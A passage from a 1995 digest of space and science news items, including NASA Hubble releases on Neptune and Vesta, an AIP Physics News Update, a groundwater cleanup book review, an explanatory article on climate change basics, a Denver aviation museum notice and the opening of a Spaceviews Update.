fixative, and harvesting materials. All of those items are part of the fundamental biology work being done on Mir. Progress will also bring to the station a Mir Grab Sample Container which will take air samples in support of the environmental monitoring effort, and blood and urine collection kits for the metabolic research effort. The next Mir 18 status report will be filed on Tuesday, April 11. @START@Hubble Views Planet Neptune and Asteroid Vesta HUBBLE VIEWS PLANET NEPTUNE AND ASTEROID VESTA The latest surprising findings on the planet Neptune and the asteroid Vesta will be presented in the next Space Astronomy Update at 2 p.m. EDT, Wed., April 19, in the NASA Headquarters auditorium, 300 E St. SW, Washington, DC. Entitled, "Hubble Looks at the Outer Solar System", the event will feature panelists Dr. Heidi Hammel of the Massachusetts Institute of Technology, and Dr. Ben Zellner of Georgia Southern University. Hubble images will show the new dark spot in the northern hemisphere of the distant planet Neptune. Only last June Hubble revealed that a great dark spot in the southern hemisphere -- discovered by the Voyager 2 spacecraft in 1989 -- had mysteriously disappeared. Hubble images of the asteroid Vesta will show a complex surface with a geology similar to that of terrestrial worlds such as Earth or Mars. The battered ancient surface -- the oldest terrain ever seen in the Solar System -- allows astronomers to peer below the crust. Vesta is unique in being the only asteroid astronomers actually can study in a laboratory -- thanks to a collision blasting a piece of the asteroid's surface into space which eventually fell to Earth. The fragment will be displayed at the event. The event will be carried live on NASA Television with questions and answers from participating NASA Centers. NASA Television is broadcast on Spacenet 2, transponder 5, channel 9, C-Band, located at 69 degrees West longitude, with horizontal polarization. Frequency will be on 3880.0 megahertz, with audio on 6.8 megahertz. @START@Vesta - Asteroid or Mini-Planet? ASTEROID OR MINI-PLANET? HUBBLE MAPS THE ANCIENT SURFACE OF VESTA NASA's Hubble Space Telescope images of the asteroid Vesta are providing astronomers with a glimpse of the oldest terrain ever seen in the solar system and a peek into a broken off section of the "mini-planet" that exposes its interior. Hubble's pictures provide the best view yet of Vesta's complex surface, with a geology similar to that of terrestrial worlds such as Earth or Mars. The asteroid's ancient surface, battered by collisions eons ago, allows astronomers to peer below the asteroid's crust and into the past. Astronomers also believe that fragments gouged out of Vesta during ancient collisions have fallen to Earth as meteorites, making Vesta only the fourth solar system object, other than Earth, the Moon and Mars, where scientists have a confirmed laboratory sample. (About 50-60 other meteorite types are suspected to have come from asteroids, but positive identifications are more difficult to make.) "The Hubble observations show that Vesta is far more interesting than simply a chunk of rock in space as most asteroids are," said Ben Zellner of Georgia Southern University. "This qualifies Vesta as the 'sixth' terrestrial planet." No bigger than the state of Arizona, Vesta offers new clues to the origin of the solar system and the interior makeup of the rocky planets. "Vesta has survived essentially intact since the formation of the planets," Zellner said. "It provides a record of the long and complex evolution of our solar system." Resolving features down to 50 miles across, Hubble reveals a surprisingly diverse world with an exposed mantle, ancient lava flows and impact basins. Though only 325 miles (525 kilometers) across, it once had a molten interior. This contradicts conventional ideas that asteroids essentially are cold, rocky fragments left behind from the early days of planetary formation. Besides providing scientists with direct samples, Vesta's chipped surface allows Hubble to study the asteroid's rocky mantle, giving scientists a unique opportunity to see what a planet looks like below the crust. "Our knowledge of the interior composition of the other terrestrial worlds, the Moon, Mars, Venus, Mercury and even Earth, depends heavily on theory and inference," Zellner said. "Vesta allows us to actually see the mantle and study pristine samples in our laboratories." Before these observations, only the smaller and less geologically diverse asteroids, Ida and Gaspra, have been observed in detail by the Jupiter-bound Galileo spacecraft. Unlike Vesta, these smaller objects are pieces torn off larger bodies by collisions that occurred perhaps only a few hundred million years ago. @START@Physics News Update ********************************************************************** This is a "Physics News Update" distributed by Phillip Schewe of AIP Public Information. For those who want to receive PNUPs via email, mail listserv@aip.org with a blank subject line and the command "add physnews" in the body, and you will be added to the distribution list. Past PNUPs, as well as "What's New" and "FYI" news bulletins, are available for anonymous FTP from ftp.hep.net in the PHYSICS-NEWS directory, in subdirectories by year. The files are named by date; the latest file is always found as "latest.txt". (Thanks Kipp!) I am redistributing this with Mr. Schewe's permission. Complaints or suggestions about the Updates should go to him at pfs@aip.org. Header courtesy of Sendhil Revuluri (s-revuluri@uchicago.edu). --Vishnu Jejjala The University of Maryland ********************************************************************** PHYSICS NEWS UPDATE physnews@aip.org A digest of physics news items by Phillip F. Schewe and Ben Stein Number 222 April 17, 1995 American Institute of Physics A CIRCUMSTELLAR DUST RING has been observed by the Cosmic Background Explorer (COBE) satellite during its survey of the sky. Computers simulations of the motion of asteroidal dust particles moving toward the sun had shown that the presence of the Earth helps to trap some of the particles in a circumsolar ring in which the Earth is embedded; the disposition of dust would be denser beyond the Earth's orbit than inside of it. Previously, the "zodiacal light" (reflected sunlight) from the dust had been seen by the Infrared Astronomical Satellite (IRAS), but COBE's observations are fuller and more unequivocal. (W.T. Reach et al., Nature, 6 April 1995.) INTERGALACTIC MAGNETIC FIELDS are probably very weak but may well influence galaxy formation. These fields might be primordial or might arise from magnetized plasma expelled by galaxies. R. Plaga of the Max Planck Institute in Munich, Germany suggests that the fields between the galaxies can be detected through their influence on gamma ray bursts reaching the Earth. According to Plaga, fields as weak as 10**-24 gauss would delay the arrival of some gamma-ray photons by a measurable amount. He believes that it might be possible to extract such information from gamma-burst data of the type recorded by the Gamma Ray Observatory. (Nature, 30 March 1995.) THE 1996 FEDERAL R&D BUDGET REQUEST amounts to $72.8 billion, 52% of which is for the Defense Department, 9.5% for the Energy Department, and 12.5% for NASA. Within DOE the request (in millions of dollars) for high energy physics is $685.6 (up 6.8% from FY95), for nuclear physics $321.1 (down 3.1%), and $366 (down 0.6%) for fusion research. The high energy request includes operating budgets of $146.4 for Fermilab, $80.8 for SLAC, and $45.5 for Brookhaven. Construction projections of note are the Fermilab main injector ($62.4) and the SLAC B factory ($57.6). The largest nuclear physics construction project is the Brookhaven Relativistic Heavy Ion Collider, at $71.3. The DOE request for basic energy science is $811.4, up 10.6% from FY95. This includes $169.6 for materials science, $178.7 for facilities operations, $118.3 for chemical sciences, and $108.7 for applied mathematical sciences. A separate category, major user facilities (mostly synchrotron sources at Oak Ridge, Argonne, Brookhaven, and LBL) will cost $240. At the NSF, the request for physics research is $142.2 (up 9.1%), while for materials research it is $190.9 (up 8.9%). The request for geoscience is $451.5 and for astronomy $110.4. The NASA request for physics and astronomy is $1131, including $237.6 for development of the Advanced X-Ray Astrophysics Facility, $182.7 for Hubble Space Telescope operations and servicing, and $93.2 for small explorer missions. The NASA planetary exploration request is $827.8, including $191.5 for Cassini development, $108.5 for the Mars Surveyor, and $75.1 for Galileo operations. The budget for the Mission to Planet Earth is $1341.1. (Physics Today, April 1995; Physics World, March 1995.) @START@Review: Alternatives for Ground Water Cleanup Book Review of "ALTERNATIVES FOR GROUND WATER CLEANUP" National Research Council, Committee on Groundwater Cleanup Alternatives. Washington: National Academy Press, July 1994/315p America's groundwater resource, which supplies more than 50% of drinking water, is threatened not only be excessive overdrafts, but by contamination. It is estimated that 300,000 to 400,000 sites may have contaminated soil or ground water requiring some form of remediation. One 1991 report concluded that over the next 30 years the US will spend $480 billion to $1 trillion in cleanup activities, with a best guess of $750 billion, or $8,000 per household. (The magnitude of the problem may be equally significant in other industrialized countries.) Restoration of contaminated ground water to drinking water standards is possible, but cleanup is inherently complex, and will require large expense and long time periods. The inability of "pump-and-treat" systems to reach drinking water standards at many sites to date is not only due to complexity, but insufficient or inaccurate characterization of the problem. "The Committee strongly believes that existing ground water cleanup goals cannot be attained in reasonable time frames (decades) at a large number of sites with current technologies." Some sites will remain contaminated above drinking water standards for the foreseeable future, even when the best available technologies are used. Although long-term goals may remain the same, interim objectives are needed to acknowledge current technological limitations. (ground water cleanup goals) ------------------------------------------------------------- from: FUTURE SURVEY A Monthly Abstract of Books, Articles, and Reports Concerning Forecasts, Trends, and Ideas about the Future. Published by the World Future Society 301-656-8274 ----------------------------------------------------------------- PUBLIC POLICY IS NOT "SCIENCE" -- IT IS "POLITICS". This is because costs and benefits are different in "kind" and they accrue to "different" individuals (e.g., profits for the rich and cancer for the poor). Those who make statements about public policy are engaging in politics. Jay Hanson ----------------------------------------------------------------- @START@Climate Change: Some Basics C l i m a t e c h a n g e : s o m e b a s i c s This addresses some frequently asked questions. It is no FAQ though, just an old-fashioned article meant to be read sequentially. Last revision April 1995: Carbon cycle feedbacks, human-made aerosols. Contents : * Introduction * The natural greenhouse effect * The enhanced greenhouse effect * Response time and feedbacks * Human-made aerosols and natural climatic variability * The ice record of greenhouse gases * Conclusion * References * Administrivia * Introduction Will the rise of human-made greenhouse gases, if going on uncurbed for some more decades, cause serious consequences during the next century ? Alas, there is no simple yes-no-answer to this question. Climate, its natural vagaries, and the long-term effects of increasing greenhouse-gas levels are only partially understood. The shortest defensible answer I can think of, a first approximation so to speak: it is roughly an even bet, fifty-fifty. A nontechnical, by no means comprehensive outline of some of the basic science behind this answer follows. Potential impacts and responses are not addressed. Please note that this is not my field. I have a fair idea of the broad picture, but I don't understand all the technical niceties. I tried to sketch some basics in a way which most readers with some interest in our planet's workings might be able to understand. For details, good places to start are chapters 1 through 7 of [Houghton] or, if you want to dig more deeply, the reports [IPCC 90/92/94]. Much of the following information can be found there. Some nontechnical introductory articles are: [Maskell] introduction to the basic science [Schelling] allround: science, impacts, responses [Broecker] natural climatic variability [White] history, some basics, climate debate up to 1990 [Ausubel] potential impacts; critical, though not complacent On the net, [IUCC] provides almost one hundred fact sheets of one to two pages each that cover science, impacts, and responses. * The natural greenhouse effect The sun's radiation, much of it in the visible region of the spectrum, warms our planet. On average, earth must radiate back to space the same amount of energy which it gets from the sun. Being cooler than the sun, earth radiates mostly in the infrared. Often, incoming solar radiation is called `shortwave', whereas outgoing infrared is called `longwave' radiation. Greenhouse gases and clouds in earth's atmosphere absorb and re-emit some of the outgoing infrared radiation. The direction of this re- emission is more or less random, some going upwards and some going downwards. Therefore, only part of the re-emitted infrared radiation goes out to space. If earth is to balance the incoming energy, it may either emit more outgoing or absorb less incoming radiation or both. In order to emit more infrared radiation, earth's surface must warm. In order to absorb less incoming solar radiation, earth must increase it's reflectivity or albedo ("whiteness"). Currently, earth's surface has an average temperature of about 15 o C. However, if you take a look from space, then you find that the infrared radiation going out to space from the upper atmosphere corresponds to an average temperature of only about -18 o C. This is the so-called `effective radiating temperature' of our planet. At -18 o C roughly 240 W/m^2 (watts per square metre) of infrared radiation are emitted. This is just the amount required for balancing the absorbed solar radiation. On the other hand, at an average temperature of 15 o C earth's surface emits an average of roughly 390 W/m^2 of infrared radiation. This amount just suffices to ensure that about 240 W/m^2 will eventually escape to space, while the remainder is trapped by greenhouse gases and clouds [Berger]. The `natural greenhouse effect' can be defined as the 150 or so W/m^2 of outgoing infrared or longwave radiation captured by earth's preindustrial atmosphere. It warms earth's surface by about 33 degrees Celsius. As an aside, note that garden glasshouses retain heat mainly by lack of convection and advection [Jones]. As we just saw, the atmospheric greenhouse effect is caused by absorption and re-emission of infrared radiation. So the `greenhouse' effect is a misnomer. We won't get rid of it, though ;-) Let us fill in a few details. Under clear sky, roughly 60-70 % of the natural greenhouse effect is due to water vapour [IPCC 90, p 48], which currently is the dominant greenhouse gas in earth's atmosphere. The remainder stems from other greenhouse gases like carbon dioxide, methane, ozone and nitrous oxide. Clouds are another important player in the game. Beginners please do not confuse clouds with water vapour: clouds consist of water droplets or ice particles or both. Under cloudy sky the greenhouse effect is considerably stronger than under clear sky [Raval]. Globally and seasonally averaged, clouds capture roughly 30 W/m^2 of the outgoing infrared radiation [Berger]. At the same time, cloud tops in the sunshine look dazzlingly white: they reflect sunlight. Earth's present albedo is somewhere near 0.3, meaning that about 30 % or slightly over 100 W/m^2 of the sun's incoming radiation is reflected back to space, while about 70 % or roughly 240 W/m^2 is absorbed. Globally and seasonally averaged, clouds reflect nearly 50 W/m^2 of the incoming solar radiation back to space, so they are presently responsible for almost half of earth's albedo. Overall, given the current cloud pat- tern of our planet, clouds exert a net cooling effect of roughly 50 (solar reflected) minus 30 (infrared trapped) = roughly 20 W/m^2. The quantities involving clouds are hard to measure and may vary by a few watts per square metre, depending on whom you listen to [Berger]. The above outline omits convection and evaporation. If you look more closely, you find that the atmosphere constantly loses, while earth's surface, globally averaged, constantly gains radiative energy. The radiative cooling of the atmosphere and the radiative heating of the surface are balanced by convection and by evaporation/re-condensation (cloud formation) which `convectively' couple the surface to the atmosphere [Berger]. * The enhanced greenhouse effect During the past two centuries and especially during the past few decades, human activities have increased the atmospheric levels of several greenhouse gases. To name a few: Carbon dioxide (CO2) went up from about 280 ppmv (parts per million by volume) in the year 1800 via 315 ppmv in 1958 to 354 ppmv in 1990. Methane (CH4) increased from about 0.8 ppmv in 1800 to roughly 1.7 ppmv in 1990. Nitrous oxide (N2O) increased from about 0.285 ppmv in 1700 to 0.310 or so ppmv in 1990. Enhanced levels of greenhouse gases cause the so-called `enhanced greenhouse effect', meaning that more of the outgoing infrared radia- tion is trapped by the additional greenhouse gases. Presently, the enhanced greenhouse effect is estimated at about 2 to 2.5 W/m^2. Doubling the preindustrial CO2 level from 280 ppmv to 560 ppmv CO2 enhances the greenhouse effect by slightly over 4 W/m^2. If business goes on as usual, the combined effect of the increased greenhouse gas levels is likely to reach the equivalent of a CO2 doubling around or before the year 2050 and will hardly stop there. The enhanced greenhouse effect disturbs earth's radiation balance. As mentioned, in order to restore the balance, earth's surface may warm, earth's albedo may increase, or both. There is broad consensus among climatologists that at least some surface warming will occur. It is uncertain, though, by how much and how swiftly earth's surface will warm. To the best of present knowledge, the so-called equilibrium surface warming for a CO2 doubling, also known as the `climate sensitivity', is likely to sit somewhere between 1.5 and 4.5 degrees Celsius, with a best estimate of 2.5 o C. In other words, there is a fairly broad range of conceivable outcomes. Since about 1890, average global surface temperature went up by about 0.5 o C. There is an uncertainty of roughly a factor of two: the true warming is likely to lie somewhere between 0.3 and 0.6 o C [IPCC 90, IPCC 92]. Even if the warming were known precisely, this would presently hardly permit to narrow down the predicted range of outcomes. Taking into account aerosol cooling and natural climatic variability, climatologists can only say that the observed warming is consistent with (although no proof for) the estimated range of climate sensitivity to human-made greenhouse gases. Some core uncertainties follow. * Response time and feedbacks One pickle is the response time of the climate system to greenhouse gases. There may be a lag time of a few decades, though this is not known for sure. Nor is it known whether it will take decades or centuries until equilibrium is approached for a given level of green- house gases. Much of this uncertainty stems from poorly understood behaviour of the ocean. The topmost so-called `mixed layer' of the ocean is warmer and less dense than the deeper layers, so it tends to stay on top. In the northern North Atlantic and near Antarctica some regions are known, where cool, particularly salty (thus dense) surface water sinks and deep water forms. But it is much less clear, how and how swiftly deep ocean water returns to the surface [IPCC 90, p xxvi, p 179-180]. Then there are the feedbacks, including but not confined to: water vapour feedback probably positive ice-snow-albedo feedback presumably positive cloud feedback poorly understood feedbacks in the carbon cycle see below It is widely agreed that, without any feedbacks, a CO2 doubling would eventually increase surface temperature by about 1.2 o C. However, warming tends to increase evaporation as well as the amount of water vapour carried by the lower atmosphere [Raval], and water vapour is the dominant greenhouse gas. Snow and ice reflect much of the incident sunlight back to space, so a reduction of snow and ice cover may enhance warming. With water vapour and ice-snow-albedo, but without cloud effects, many though not all estimates are somewhere between 2 and 2.5 o C for a CO2 doubling. The cloud feedback is probably the largest single uncertainty in the predictions. This feedback might be large, yet not even its sign is known. Deep clouds tend to cool, high clouds tend to warm. Depending on whether and how cloud cover changes, the overall feedback may be negative or positive. As a further complication, optical properties of clouds may change in ways that are hard to predict [Tselioudis]. Many climatologists presume that, everything else remaining equal, the cloud feedback is likely to be slightly positive, but this is by no means certain, the more so as not everything else has remained equal (see below: aerosols). Feedbacks in the carbon cycle, springing from climatic changes or from rising CO2 levels, may slow down or speed up the rise of atmospheric carbon dioxide. To name a few: CO2 fertilization, higher temperatures and increasing precipitation can increase plant growth, drawing down some CO2. The mix of species in ecosystems is likely to change, which in turn may affect atmospheric CO2. Dryer and warmer soils as well as dieback of vegetation can release CO2. The overall effect of these and other carbon cycle feedbacks on atmospheric CO2 is unclear. If the relationship between CO2 level and temperature observed over the past 250,000 years should persist in the future, then the long-term climate feedback on atmospheric carbon dioxide level would be positive. On the other hand, ecosystem models tentatively suggest that carbon release (positive feedback) may dominate over the next decades, while carbon storage in vegetation and soils (negative feedback) may win out in the long run [IPCC 94]. * Human-made aerosols and natural climatic variability It is attempted time and again. But it is presently hopeless to draw conclusions from the observed temperature record about the present or future amount of greenhouse-gas induced warming. This is because the effects of at least three factors cannot be disentangled: human-made greenhouse gases (warming) human-made aerosols (cooling) natural climatic variability As already touched upon, it is not clear how rapidly the climate will respond to anthropogenic (human-made) greenhouse gases. Thus a given rate of warming does not by itself reveal when and at what level the warming is eventually going to stop. Aerosols are small (0.001 to 10 micrometres) airborne particles. In the troposphere, the lower about 10 to 15 km of our atmosphere, human-made aerosols have greatly increased since about 1850 and present a large source of uncertainty in assessing the effects of anthropogenic emis- sions on climate. `Fine' aerosol particles with sizes between about 0.1 and 1 micrometre can influence climate in two ways. Under clear sky they scatter and absorb solar radiation; some of the scattered sunlight goes back to space (direct effect). By acting as cloud condensation nuclei, aerosols may enhance reflectivity and life-time of clouds (the indirect effect). In this size range, sulfur dioxide - yielding sulfate particles after oxidation - is presently the largest source of human-made aerosols. Probably the next largest source is organic and elemental carbon from biomass burning. Both sulfate aerosols and those from biomass burning have a net cooling effect. Globally averaged, they may currently cancel about 50 % of the warming effect of human-made greenhouse gases. So far, though, confidence in such estimates is low. The uncertainty margin is large, ranging from about 10 to 100 % [IPCC 94, sections 3, 4.4, 4.7]. Moreover, global averages may not be adequate for assessing aerosol ef- fects. Tropospheric aerosols are unevenly distributed, as most of them are washed out after about a week. Anthropogenic sulfate aerosols are mainly located over Northern Hemisphere land areas. The distribution of aerosols from biomass burning is less clear. Human-made greenhouse gases have life-spans of up to over 100 years and are much more evenly distri- buted. Aerosol cooling is not a simple offset to greenhouse-gas induced warming: even if the global averages cancel, the different distributions may still cause climatic changes. Reducing sulfur dioxide emissions or biomass burning reduces the aerosol effect quickly, leaving over the effect of the more long-lived greenhouse gases [IPCC 94]. Estimating aerosol cooling more precisely will be tough. Aerosols are difficult to measure. Particle sizes, compositions and regional distributions vary. So do their climatic effects. Assessing the latter involves modeling of regional climates and of clouds, both of which are not yet very reliable [IPCC 94] [Wigley]. Even less is known about natural climatic fluctuations on a decadal to century scale. It is not known what course earth's temperature would have taken without anthropogenic emissions. Some players that may be involved in natural climatic variations on this time scale: Random atmospheric variability including shifts of the polar front, variations in the circulation of the North Atlantic and of the Pacific Ocean, solar variability, volcanism. Unraveling climate's natural vagaries may take a long time: there is a dearth of suffi- ciently long and detailed climatic records [Broecker] [Crowley & North, chapter 5] [Kerr] [Rind] [Schlesinger] [Street]. To provide just one example: The Little Ice Age is a much discussed cooling spell with temperature decreases of 1 or so degree Celsius, lasting from about 1450 to the 19th century. Even though this is a quite recent event, the global patterns of the climatic changes involved and the mechanisms behind these changes are so poorly known that, in 1993, Rind and Overpeck wrote, presumably only half jokingly: "At the present time, it is still possible to question the existence of the Little Ice Age" [Rind, p 371]. * The ice record of greenhouse gases During the past millenium, until about the 19th century, atmospheric greenhouse gas levels varied little and hence, during that time, probably contributed little to climatic variations. On a longer time scale, changes of greenhouse gas levels probably contributed signifi- cantly to the coolings and warmings of the last two glacial cycles. Ice cores from Greenland and Antarctica indicate that there was a close link between greenhouse gases and temperature [Raynaud]. For instance, the Vostok ice core from Antarctica exhibits a striking correlation between temperature and the concentrations of carbon dioxide (CO2) and methane (CH4) over the past 250,000 years [Jouzel]. The level of nitrous oxide (N2O) probably also varied more or less in phase with temperature [Raynaud, p 928]. The variations of these trace gases may account for up to about 50 % of the estimated temperature changes [Crowley, p 2364] [Raynaud, p 932]. CO2 was most important, while methane and nitrous oxide contributed less. During the onset of the last glaciation, the CO2 decrease markedly lagged the onset of the cooling. During the past two deglaciations, CO2 may have risen in phase with temperature or with an, in geologic terms, modest lag of up to about 1000 years [Raynaud, p 931]. Whether greenhouse gases led or lagged the climatic change, that is, whether they were a primary cause for the change or whether they acted as a positive feedback (which amplified a climatic shift already under way), is important for finding out just exactly what happened, but it is not by itself relevant for estimating the effect of the trace gases on surface temperature [Raynaud, p 932]. In spite of this, the effect is hard to quantify. During the last deglaciation, roughly 18,000 to 10,000 years ago, the rise of trace gas levels enhanced the natural greenhouse effect by about 2.5 to 3 watts per square metre. The meltdown of the huge glacial ice shields reduced earth's albedo, accounting for another about 3 to 3.5 watts per square metre. These figures are compatible with the IPCC estimate of about 1.5 to 4.5 o C surface warming for a CO2 doubling, but they do not yet permit to narrow down the uncertainty [Crowley, p 2366]. There remain many unknowns, some of which follow. For instance, in glacial times the atmosphere probably carried more dust (aerosols) than today, but the average global dust load during glaciations is quite uncertain [Crowley, p 2366]. Also, it is not known whether and how cloud cover changed during glacial cycles. Getting reliable information on past cloud cover is very difficult; it may be an insoluble problem [Eddy, p 147]. Moreover, just how cold was the last glacial maximum about 18,000 years ago ? Estimates for global mean surface temperature at the last glacial maximum range from about 3 to 5, maybe even 6 degrees Celsius below the present-day average of about 15 o C [Barron] [Crowley & North, p 79]. Last but not least, the sensitivity of earth's present-day climate system to an enhanced greenhouse effect of so or so many watts per square metre need not necessarily equal the sensitivity of the last glacial maximum's climate to the same disturbance. The starting positions differ. * Conclusion Two remarks. Firstly, current climate models tend to predict gradual climate change. This is no guarantee against unpleasant surprises: climate models are far from perfect, the same holds for the basic climatologic knowledge which is fed into the models. Vice versa, sudden climatic shifts in the recent geologic past do not imply that similar shifts must necessarily happen in the near future. Past climates can help to understand the climate system's workings, but they do not readily reveal what to expect. Our climate appears to be headed for a "warm atmosphere-cold pole combination" which may be unique in earth history. No completely satisfactory geologic analog is known [Crowley & North, chapter 14] [Eddy, p 16-27, 39-71]. Secondly, much of the debate focuses on warming, the most plausible reaction of the climate system. Climate, however, may change in a host of other potentially serious ways. For instance, spatial and seasonal precipitation patterns may shift, affecting fresh water availability, which is critical for many countries and a potential source of con- flicts. Cloud patterns, ocean currents, atmospheric circulation or the distribution of extreme weather events may change. This is why many climatologists prefer the term `climate change' over `global warming'. It is an open question how soon the uncertainties can be narrowed down, and whether climatologists will be able to predict details reliably before they start to happen in the real world. In spite of a flood of new results, I am under the, hopefully mistaken, impression that during the past few years more questions were raised than answered. Human-made greenhouse gases will change our climate. There is no free lunch, we cannot alter earth's radiation balance for nothing. It is uncertain by how much, how swiftly and with what twists the climate will change, but this is dubious comfort, since uncertainty cuts two ways. The present best estimates may well overstate the risk, but they may as well understate it. The climate change issue resembles a gamble with high stakes. * References [Ausubel] Jesse H. Ausubel, A second look at the impacts of climate change. American Scientist 79 (1991), 210-221 [Barron] Eric J. Barron, Lessons from past climates. Nature 360 (1992), 533 [Berger] A. Berger and Ch. Tricot, The greenhouse effect. Surveys in Geophysics 13 (1992), 523-549 [Broecker] Wallace S. Broecker, Global warming on trial. Natural History 101, 4 (April 1992), 6-14 [Crowley] Thomas J. Crowley, Geological assessment of the greenhouse effect. Bulletin of the American Meteorological Society 74 (1993), 2363-2373 [Crowley & North] Thomas J. Crowley, Gerald R. North Paleoclimatology. Oxford University Press 1991 [Eddy] J.A. Eddy and H. Oeschger (eds), Global Changes in the Perspective of the Past. Chichester, UK, John Wiley & Sons 1993 [Houghton] John Houghton, Global Warming: The Complete Briefing. Lion Publishing, Oxford, UK / Elgin, Illinois, US 1994. Albatross Books, Sutherland, Australia 1994 [IPCC 90] Climate Change - The IPCC Scientific Assessment J.T. Houghton, G.J. Jenkins, J.J. Ephraums (eds) Cambridge University Press 1990 [IPCC 92] Climate Change 1992 - The Supplementary Report to the IPCC Scientific Assessment. J.T. Houghton, B.A. Callander, S.K. Varney (eds), Cambridge University Press 1992 [IPCC 94] Climate Change 1994: Radiative Forcing of Climate Change and An Evaluation of the IPCC IS92 Emission Scenarios. J.T. Houghton, L.G. Meira Filho, J. Bruce, Hoesung Lee, B.A. Callander, E. Haites, N. Harris and K. Maskell (eds) Cambridge University Press 1995 [IUCC] Information Unit on Climate Change (IUCC), Climate Change Fact Sheets. To order write to: IUCC, UNEP, Geneva Executive Center, Case Postale 356, CH-1219 Ch^atelaine/Geneva, Switzerland. On the web, connect to http://www.unep.ch/iucc/fs-index.html/ Also available via APC networks on bulletin board IUCC.CLIMFACTS [Jones] M.D.H. Jones and A. Henderson-Sellers, History of the greenhouse effect. Progress in Physical Geography 14, 1 (1990), 1-18 [Jouzel] J. Jouzel, N.I. Barkov, J.M. Barnola, M. Bender, 13 more authors, Extending the Vostok ice-core record of paleoclimate to the penultimate glacial period. Nature 364 (1993), 407-412 [Kerr] Richard A. Kerr, Unmasking a shifty climate system. Science 255 (1992), 1508-1510 [Maskell] Kathy Maskell, Irving M. Mintzer, Bruce A. Callander, Basic science of climate change. The Lancet 342 (1993), 1027-1031 [Raval] A. Raval & V. Ramanathan, Observational determination of the greenhouse effect. Nature 342 (1989), 758-761 [Raynaud] D. Raynaud, J. Jouzel, J.M. Barnola, J. Chappellaz, R.J. Delmas, C. Lorius, The ice record of greenhouse gases. Science 259 (1993), 926-934 [Rind] David Rind & Jonathan Overpeck, Hypothesized causes of decade- to-century-scale climate variability: climate model results. Quaternary Science Reviews 12, 6 (1993), 357-374 [Schelling] Thomas C. Schelling, Some economics of global warming. The American Economic Review 82 (March 1992), 1-14 [Schlesinger] Michael E. Schlesinger & Navin Ramankutty, An oscillation in the global climate system of period 65-70 years. Nature 367 (1994), 723-726. Discussion: Nature 372 (1994), 507-509 [Street] F. Alayne Street-Perrott, Drowned trees record dry spells. Nature 369 (1994), 518 [Tselioudis] George Tselioudis, Andrew A. Lacis, David Rind & William B. Rossow, Potential effects of cloud optical thickness on climate warming. Nature 366 (1993), 670-672 [White] Robert M. White, The great climate debate. Scientific American 263, 1 (July 1990), 18-25 [Wigley] Tom M.L. Wigley, Outlook becoming hazier. Nature 369 (1994), 709-710. A comment on: K.E. Taylor & J.E. Penner, Response of the climate system to atmospheric aerosols and greenhouse gases, ibid. 734-737 * Administrivia Caveat: This is not my field. Those climatologists who told me their opinion so far found the article reasonable. Sole responsibility for errors and misconceptions is mine, however. Corrections are welcomed, the more so as my time for maintaining this article is scarce. Please note the motto, though: "not overly detailed" ;-) Students should not use this article as a reference for school projects. They should instead use it as a pointer to some of the published literature. Copyright (c) 1995 by Jan Schloerer, all rights reserved. This article may be posted to any USENET newsgroup, on-line service and BBS, as long as it is posted in its entirety and includes this caveat and copyright statement. However, please inform me, so I know where the article goes. This article may not be distributed for financial gain, it may not be included in commercial collections or compilations without the express written permission of the author. Jan Schloerer schloerer@rzmain.rz.uni-ulm.de Uni Ulm Klinische Dokumentation D-89070 Ulm Germany @START@New Aviation/Space Museum in Colorado A new aviation and space museum has recently opened in Denver, Colorado. The Wings Over the Rockies Aviation and Space Museum opened on December 1, 1994 in Hangar 1 of what was formerly Lowry Air Force Base in East Central Denver. The museum has a number of items currently on display including the following aircraft: a prototype glider U-3A, USAF version of the Cessna 310 T-33, the classic jet trainer RF-84K, very rare (25 built) carried in the bomb bay of a B-36 mothership F-86H, late-model Korean War vintage fighter F-4C, early model USAF Phantom F-4E, Chase & test aircraft used at Edwards AFB H-21, Vertol-built tandem rotor helicopter A-7D, Early model USAF Corsair II with Navy-style refueling probe FB-111A, Swing-wing strategic bomber used by SAC EB-57E, Electronic defense systems "intruder" aircraft B-1A, The No. 3 B-1A prototype, only one of two on public display in the world B-52B, Early model Stratofortress F-100D, First USAF supersonic fighter F-101B, Formerly with the Oregon & N. Dakota Air Guard F-102A, Delta-winged fighter F-104C, Tactical version, aircraft on display is a Vietnam Veteran F-105D, Largest single-seat, single-engined fighter used by USAF F-106A, Served with the 48th Fighter Interceptor Squadron, ADC Note that the museum has all six Century Series fighters on display. A pre-WWII Douglas B-18 Bolo bomber is currently undergoing restoration. The former Martin Marietta Corp. has donated its engineering mock-up of the Space Station Freedom module used in its bid for the project. It is also undergoing restoration. The museum provides a video viewing room with a variety of aviation/space videos. Also housed in the museum is an aviation/space research library which includes books and a photo archive where materials may be used on-site. A full photographic reproduction laboratory will also be available in the near future. As mentioned before, the museum is located on the site of what was formerly Lowry AFB in Denver. Access to the museum is through the gate on 1st Ave & Quebec St. or the gate on 6th Ave and Dayton. Easy access from Denver International Airport by following Pena Blvd to I-70 west, south on I-225 to 6th Ave exit, west on 6th Ave to the base gate. Inform the civilian guard (the guards will be gone by June) that you are visiting the museum. The museum is open from 10 to 4 Mon-Sat and from 12 to 4 on Sunday. The museum is also available for events such as unit reunions, meetings, birthday parties, and receptions. Admission: Seniors (60 & over): $2.00 Adults: $4.00 Children (6-17): $2.00 Children under 6: free Museum Members: free The phone number is: voice 303-360-5360 fax 303-360-5328 The mailing address is: P.O.Box 200158 7750 E. Irvington Pl. Denver, CO 80220-0158 @START@ Spaceviews Update S P A C E V I E W S U P D A T E 1995 April 15 Contents: * Space Missions * Progress Spacecraft Docks with Mir Israel Launches Spysat Cellular Phone Satellite in Orbit Orbcomm Launch a Partial Success * Future Projects * Lucid Selected for Second U.S. Mir Mission LLV to Launch Clark Spacecraft * Space Policy * Walker Proposes Multiyear Authorization for Space Station U.S. May Permit Commercial Use of Ukranian Rockets * Space Science * ESO Telescope Project Threatened ----------------------------- * Space Missions * Progress Spacecraft Docks with Mir The Progress M-27 spacecraft, carrying hundreds of kilograms of food and supplies, docked with the Russian space station Mir early Wednesday morning (April 12), thirty-four years to the day after Yuri Gagarin became the first man in space. The spacecraft was launched Sunday from the Baikonur cosmodrome in Kazakhstan. After spending over two days matching orbits with the Russian space station, the Progress spacecraft docked automatically on the first attempt. The spacecraft carried 400 kg (880 lb) of food for cosmonauts Vladmir Dezhurov and Gennady Strekalov and American astronaut Norman Thagard. The spacecraft also carried several hundred kilograms of supplies, 25 kg (55 lb) of notes and other papers, and some lollipops. The successful shipment permits the crew aboard Mir to continue their historic mission. The three men will stay aboard Mir until June, when the shuttle Atlantis will dock with the station and replace the three with two Russian cosmonauts . ----------------------------- Israel Launches Spysat Israel launched its first operational 